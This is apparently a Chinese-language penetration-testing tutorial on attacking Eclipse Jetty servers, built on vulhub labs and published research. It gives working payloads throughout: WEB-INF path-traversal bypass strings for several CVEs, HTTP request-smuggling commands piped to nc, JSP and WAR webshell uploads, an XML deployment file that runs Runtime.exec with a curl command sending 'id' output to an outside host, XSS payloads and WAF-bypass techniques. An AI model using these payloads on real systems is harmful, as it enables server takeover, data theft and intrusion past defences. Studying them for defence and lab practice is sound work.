Jetty

Eclipse Jetty是一個Java Web 服務器和Java Servlet容器。雖然 Web 服務器通常與向人們提供文檔相關聯,但 Jetty 現在通常用于機器對機器的通信,通常在更大的軟件框架內。Jetty 是作為Eclipse Foundation的一部分開發的免費和開源項目。Web 服務器用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geronimo、Apache Maven、Apache Spark、Google App Engine、Eclipse、FUSE、iDempiere、Twitter 的 Streaming API和Zimbra。Jetty 也是Lift、Eucalyptus、OpenNMS、Red5、Hadoop和I2P等開源項目中的服務器。Jetty 支持最新的 Java Servlet API(支持JSP)以及協議HTTP/2和WebSocket。

在開始了解Jetty利用方式之前,需要了解一下關于Jetty小知識

  • $JETTY_HOME映射Jetty分發目錄即start.jar啟動目錄
  • $JETTY_BASE包含配置文件、WEB應用。在Jetty啟動機制中,會優先高到低的順序加載配置:
  • 命令行
  • $JETTY_BASE目錄及其文件
  • 使用選項指定的目錄--include-jetty-dir及其文件
  • $JETTY_HOME目錄及其文件

至于演示使用的環境,除了使用vulhub外,我還自行搭建了一個簡單的環境,至于如何搭建建議看官網手冊。

0x0 特征

0x00 響應Server標頭

發送HTTP請求時,響應包的Server標頭會返回Jetty版本信息(默認返回)。

0x01 GET請求

在GET請求的URL后面添加;(也有說是;",但是我復現時發現使用;也能達到相同的目的),可以識別大部分的Jetty中間件

Jetty服務器響應包一般都為200Nginx一般為404

Jetty服務器請求數據中添加;test,響應包為200

接著向Nginx服務器請求包添加相同的數據,響應包為404

0x02 404頁面

Jetty服務,默認情況下會在404頁面顯示當前版本信息

0x1 WEB.xml

Web.xml別名部署標識符文件(Deployment Descriptor file),一般來說Web.xml文件一般都是在WEB-INF目錄中。Web.xml危害幾乎都是信息泄露,無法單獨拿該漏洞做文章!

下面看一個簡單的Web.xml

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"          xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee          http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"          version="3.1">     <servlet>         <servlet-name>comingsoon</servlet-name>         <servlet-class>mysite.server.ComingSoonServlet</servlet-class>     </servlet>     <servlet-mapping>         <servlet-name>comingsoon</servlet-name>         <url-pattern>/*</url-pattern>     </servlet-mapping> </web-app> 
  • xml文件根元素被命名為web-app
  • servlet服務器設置
  • servlet-name服務器名稱
  • servlet-class服務器類
  • servlet-mapping定義servletURL模式之間的映射
  • servlet-name該名稱對應servlet-name
  • url-pattern用來解析URL
  • 上面xml文件作用是將網址路徑/*映射到mysite.server.ComingSoonServlet應用類

需要注意的是。在Java Servlet Spec 3.0后,可以不用web.xml文件配置應用程序,可以通過Java類和注解到達相同的目的

至于xml其他標識符這里就不繼續講解了,有需要可以訪問鏈接查詢

0x2 CVE漏洞

0x01 Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-28164)

影響版本: 9.4.37-9.4.38

直接訪問/WEB-INF/web.xml顯示404

/WEB-INF/...前面添加/%2e可以繞過下載web.xml,記住不能直接使用瀏覽器寫入/%2e,不然可能會因為瀏覽器解析問題導致失敗

/%2e/WEB-INF/web.xml

0x02 Jetty 通用 Servlets 組件 ConcatServlet 信息泄露漏洞(CVE-2021-28169)

影響版本:<= 9.4.40、10.0.2、11.0.2

正常情況無法通過/static?/WEB-INF/web.xml訪問到敏感文件web.xml

將W進行雙重URL編碼可以繞過攔截,訪問敏感文件web.xml

/static?/%2557EB-INF/web.xml

0x03 Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-34429)

影響版本:9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5

jetty 9.4.40雖然說修復了%2e導致的敏感信息泄露漏洞CVE-2021-28164,但是由于修復不完善還可以使用下面三個方法繞過

  • unicode形式URL編碼:/%u002e/WEB-INF/web.xml
  • \0組合.導致的繞過:/.%00/WEB-INF/web.xml
  • \0組合..導致的繞過:/a/b/..%00/WEB-INF/web.xml

訪問/%u002e/WEB-INF/web.xml繞過下載

/%u002e/WEB-INF/web.xml

0x04 CVE-2020-27223 DOS

影響版本:

  • Jetty 9.4.6——Jetty 9.4.36
  • Jetty 10.0.0
  • Jetty 11.0.0

Eclipse Jetty 9.4.6.v20170531 到 9.4.36.v20210114(含)、10.0.0 和 11.0.0中,當Jetty處理包含多個帶有大量“質量”(即 q)參數的 Accept標頭的請求時,由于處理這些質量值的 CPU 使用率高,服務器可能會進入拒絕服務 (DoS) 狀態,從而導致處理這些質量值的CPU時間用盡數分鐘。

環境搭建:

git clone https://github.com/motikan2010/CVE-2020-27223 cd CVE-2020-27223 mvn spring-boot:run

環境搭建好了,直接使用環境內的poc腳本

./cve-2020-27223-poc1.sh 

0x05 jetty走私(CVE-2017-7656、CVE-2017-7657、CVE-2017-7658)

影響版本:

  • 9.2.x:9.2.25v20180606
  • 9.3.x:9.3.24.v20180605
  • 9.4.x:9.4.11.v20280605

想看詳細講解jetty走私過程。推薦看原文:https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4

環境搭建使用Dockerfile

FROM jetty:9.4.9 RUN mkdir /var/lib/jetty/webapps/root RUN bash -c 'set -ex \   && cd /var/lib/jetty/webapps/root \   && wget https://tomcat.apache.org/tomcat-7.0-doc/appdev/sample/sample.war \   && unzip sample.war' EXPOSE 8080 ENTRYPOINT ["/docker-entrypoint.sh"] CMD ["java","-jar","/usr/local/jetty/start.jar"] 

運行Dockerfile

  • 遇到tomcat.apache.org證書過期,可以把sample.war軟件放到本地http服務器下載

HTTP/0.9

printf 'GET /?test=4564 HTTP/0.9\r\n'\ 'Range: bytes=36-42\r\n'\ '\r\n'\ |nc 127.0.0.1 8994 , World 

雙倍內容長度

printf 'GET /?test=4970 HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ 'Connection: keepalive\r\n'\ 'Content-Length: 0\r\n'\ 'Content-Length: 45\r\n'\ '\r\n'\ 'GET /?test=4971 HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ 'GET /?test=4972 HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ |nc 127.0.0.1 8994 | grep "HTTP" HTTP/1.1 200 OK HTTP/1.1 200 OK 

塊大小屬性截斷

printf 'POST /?test=4975 HTTP/1.1\r\n'\ 'Transfer-Encoding: chunked\r\n'\ 'Content-Type: application/x-www-form-urlencoded\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ '1ff00000008\r\n'\ 'abcdefgh\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ 'POST /?test=4976 HTTP/1.1\r\n'\ 'Content-Length: 5\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ |nc 127.0.0.1 8994|grep "HTTP/1.1" HTTP/1.1 200 OK HTTP/1.1 200 OK 

0x3 上下文

Jetty當沒有設置根應用目錄、文件時,會顯示webapps里目錄信息

如果沒有設置根應用程序,而是通過web.xml映射方式提供服務,那么可以采用下面方式獲取應用上下文目錄

demo-simple.xml配置

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd"> <Configure class="org.eclipse.jetty.webapp.WebAppContext">   <Set name="contextPath">/</Set>   <Set name="war"><Property name="jetty.webapps" default="." />/demo-simple.war</Set>   <Set name="virtualHosts">     <Array type="java.lang.String">       <Item>test.local</Item>       <Item>172.22.16.108</Item>     </Array>   </Set> </Configure> 

通過瀏覽器訪問,jetty會正常進行工作,但是,如果我們在Host標頭中附帶不屬于xml Item標簽內的信息通過GET請求發送,在應用響應的結果中會顯示目錄上下文信息

xml Item標簽添加127.0.0.1演示

無法通過添加127.0.0.1 Host 標頭獲取上下文目錄信息

使用新的標頭,依然可以獲取上下文信息

0x4 上傳RCE

jsp Jetty是基于Apache Jasper的模塊支持JSP

默認情況下,org.eclipse.jetty.jsp.JettyJspServlet負責處理Jetty中的JSP文件。

$JETTY_HOME/etc/webdefault.xml配置文件,默認情況下會將下面類型文件解析為JSP文件

jetty中要解析JSP文件,需要啟動jsp模塊

java -jar start.jar --module=jsp 
0x01 常見上傳目錄

常見上傳JSP一般都會保存在$JETTY_BASE/webapps/root,這種RCE方式只需要了解一下就行。

0x02 上傳臨時目錄

Jetty如果沒有設置固定的"工作"目錄,每次啟動服務時生成的臨時目錄都會附帶上隨機數字字符串

臨時目錄結構如下:

"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"+randomdigits+"
  • 我看文檔說時會在上面的目錄結構后加上.dir,但是我環境中就沒有發現有加上.dir。這里需要注意一下,有可能是我的問題。
  • 0.0.0.0是主機地址,8080是端口,test_war是resourceBase,test(root)是上下文路徑(將/轉換為_),any是虛擬主機,randomdigits是一串隨機數字。

這里我的上下文目錄可能有些多,所以看起來有點亂,只需要知道testroot)代表的是webapps里面的目錄即可。

如果能找到已經創建的臨時目錄,可以嘗試上傳shell$JETTY_BASE/work/"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"/webapps/

  • 測試時,我發現臨時目錄中沒有webapps目錄,那么就無法成功訪問。

設置工作目錄

設置工作目錄只需要在${jetty.base}目錄創建一個work目錄,而且work目錄一般都用作WEB應用程序所有臨時文件夾的父目錄,啟動服務時,會在work目錄創建臨時目錄

在“工作”目錄下的臨時目錄結構如下:

"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"

  • 0.0.0.0是主機地址,8080是端口,demo-simple_war是resourceBase,test(root)是上下文路徑(將/轉換為_),any是虛擬主機。

0x5 上傳war文件rce

當無法上傳jsp文件時,我們還可以上傳war文件GETSHELL

制作war webshell文件只需要將shell文件壓縮成war后綴即可

zip -r shell.war index.jsp 

war文件上傳到$jetty_base/webapps/,這樣就可以RCE

服務器沒有開啟jsp模塊,那么即使上傳war文件也無法RCE,只能使用servlet創建java應用完成RCE

0x6 上傳XML文件RCE

除去上述上傳jspwar文件可以RCE外,還可以通過上傳XML文件進行RCE

XML文件有自己的語法,允許實例化任何對象,并調用gettersetter和方法。

  • 下面只是簡單演示復現,如果想看更詳細的內容推薦看這個鏈接

XML代碼

<?xml version="1.0"?> <!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd"> <Configure class="org.eclipse.jetty.server.handler.ContextHandler">  <Call class="java.lang.Runtime" name="getRuntime">   <Call name="exec">    <Arg>     <Array type="String">      <Item>/bin/sh</Item>      <Item>-c</Item>      <Item>curl -F "r=`id`" http://192.168.0.0:80</Item>     </Array>    </Arg>   </Call>  </Call> </Configure> 

XML文件上傳后無需要服務器重啟,jetty的熱部署功能會自動掃描部署新的web應用程序

0x7 上傳文件XSS

JETTY服務器不僅可以上傳總所周知的.html.svg文件,還可以上傳其他冷門擴展名的文件。

有效載荷:

  • xml 載荷<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert('PTSWARM')</script>
  • html 載荷<script>alert('PTSWARM')</script>

我這里比較懶就直接抄作業了

除了上述這些文件可以上傳導致XSS外,如果JETTY服務器響應時沒有Content-type 標頭,可以嘗試自定義內容MIME類型,都可以導致XSS,不過載荷一般都是使用<script>alert('PTSWARM')</script>

0x8 Jetty繞WAF

jetty繞過這段,我沒弄成本地環境,也找不到相關環境。所以就直接用原文的內容。

原文地址:https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/

0x01 繞過waf攔截目錄

了解了Jetty服務器如何解析URL地址,我們可以繞過代理服務器上的過濾器。想象一下,Jetty服務器部署在NGINX代理后面,其規則阻止對 /adminURL/*的請求。

location ~ /adminURL/ {   deny all; } location / {   proxy_pass       http://localhost:8080;   proxy_set_header Host      $host;   proxy_set_header X-Real-IP $remote_addr; } 

如果只在代理上配置了這個規則,我們可以向/adminURL;random/ 發送HTTP請求,并獲得對服務器上受保護資源的訪問權限。

0x02 繞過waf讀取文件

JSP文件代碼

<%@ page import="java.io.File" %> <%@ page import="java.util.Scanner" %> <% File myObj = new File(request.getParameter("filename")); Scanner myReader = new Scanner(myObj); while (myReader.hasNextLine()) {     String data = myReader.nextLine();     out.println(data); } myReader.close(); %> 

應用程序從用戶請求中接收filename參數,使用該參數中的路徑打開文件,并將文件內容返回給用戶。這是一個允許我們讀取任意文件的漏洞。但是,如果應用程序受到WAF的保護,該WAF會阻止所有在GET或POST參數中包含/的請求呢?

WAF攔截情況下,可以利用request.getParameter方法處理參數的方式。getParameter在不同的中間件服務器上工作方式都有所不同。getParameterjetty應用程序調用時,getParameter會在GETPOST參數中查找值。如果使用POST請求發送Content-Type: multipart/form-dataJetty會將該請求使用單獨的解析器來解析。

如果POST參數中包含_charset_字段,則多部份解析將使用指定的編碼處理所有參數。這樣我們可以使用字符編碼來繞過WAF攔截,因為WAF不可能識別所有不同編碼的字符

圖片中使用的是ibm037編碼

使用上面的方法繞過waf需要服務器啟動多部份處理。如果服務器托管處理文件上傳的應用程序,則將啟用多部分處理。

不啟動多部份處理的服務器可能會跟圖片下提示

0x03 jetty 邊界解析

解析多部份請求的邊界時,解析器在到達;邊界字符串就會停止。;后面的所有字符串都會被忽略。

0x04 jetty 清除反斜杠

jetty從多部份請求中提取參數名稱時,會把反斜杠清除,即\[any_symbol]被轉換成[any_symbol]。我們可以利用該機制繞過WAF,下面使用XSS漏洞演示

參考鏈接

https://en.wikipedia.org/wiki/Jetty_(web_server)https://cloud.google.com/appengine/docs/legacy/standard/java/config/webxml#:~:text=and+URL+paths-,web.,corresponds+to+the+request+method.https://docs.oracle.com/cd/E24329_01/web.1211/e21049/web_xml.htm#WBAPP529https://examples.javacodegeeks.com/enterprise-java/jetty/jetty-web-xml-configuration-example/https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/https://www.eclipse.org/jetty/documentation/jetty-11/operations-guide/index.htmlhttps://mp.weixin.qq.com/s?__biz=Mzg3NjY1MDEwNA==&mid=2247483832&idx=1&sn=1fae284c4e66fc775b66fa11843ee6e5&chksm=cf2e4aaff859c3b94e31090d162203137ae3d69e88fb7efa041fa6c6d8a0f0afa129a8969dcf&scene=126&sessionid=1666801519&key=7d0747fd59e25d7fde7ea56ba3dbd27a46d71079bf4557cddd6dbf67fa6db01e1ddbabb678fd4bcc7224669ee8965fce920d364b72df2693de98b47a8b167470e6d863f08ff16523db3ee676ab857c47f0181b6b4fe51768664afc7f4b10df76c50dab93fd63c3320127442a62713a4a9e4c89703855a75a6dfa7f0a74ecdea1&ascene=15&uin=NTY2NTA4NjQ%3D&devicetype=Windows+Server+2016+x64&version=63070517&lang=zh_CN&session_us=gh_41c701ef9ecc&exportkey=n_ChQIAhIQi5%2BpKMYH%2FDrH1EHxMoTs6hL4AQIE97dBBAEAAAAAAADLOSx1qosAAAAOpnltbLcz9gKNyK89dVj0xiFhktn%2FS0Sp9BKDKmlZ1BjR%2BeKTtT7aNi%2BHCPBh6XL5F0crat5q9zC47pXJ6BunwkDJPOo2g%2FPdt%2BHeJciD1fIHWXKqowMcVhVw%2Buna2LNLFROsCo8PXF%2BqX1lkkGbC3DGY0AlDcB9HUkTAYH0WytQBKhQGYoLbaLISQceAWRnWhhfIsH0x58hFjQc7o8DoOg4DzN2D8L40WLNukN5%2F1z0FnLXUn5LKDtzFymWAGSoPBCVUgkm300gD3Z9maUC7hNJr3lCwAHFmWsbJ5AlPPRG9&achttps://github.com/motikan2010/CVE-2020-27223https://github.com/vulhub/vulhubhttps://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4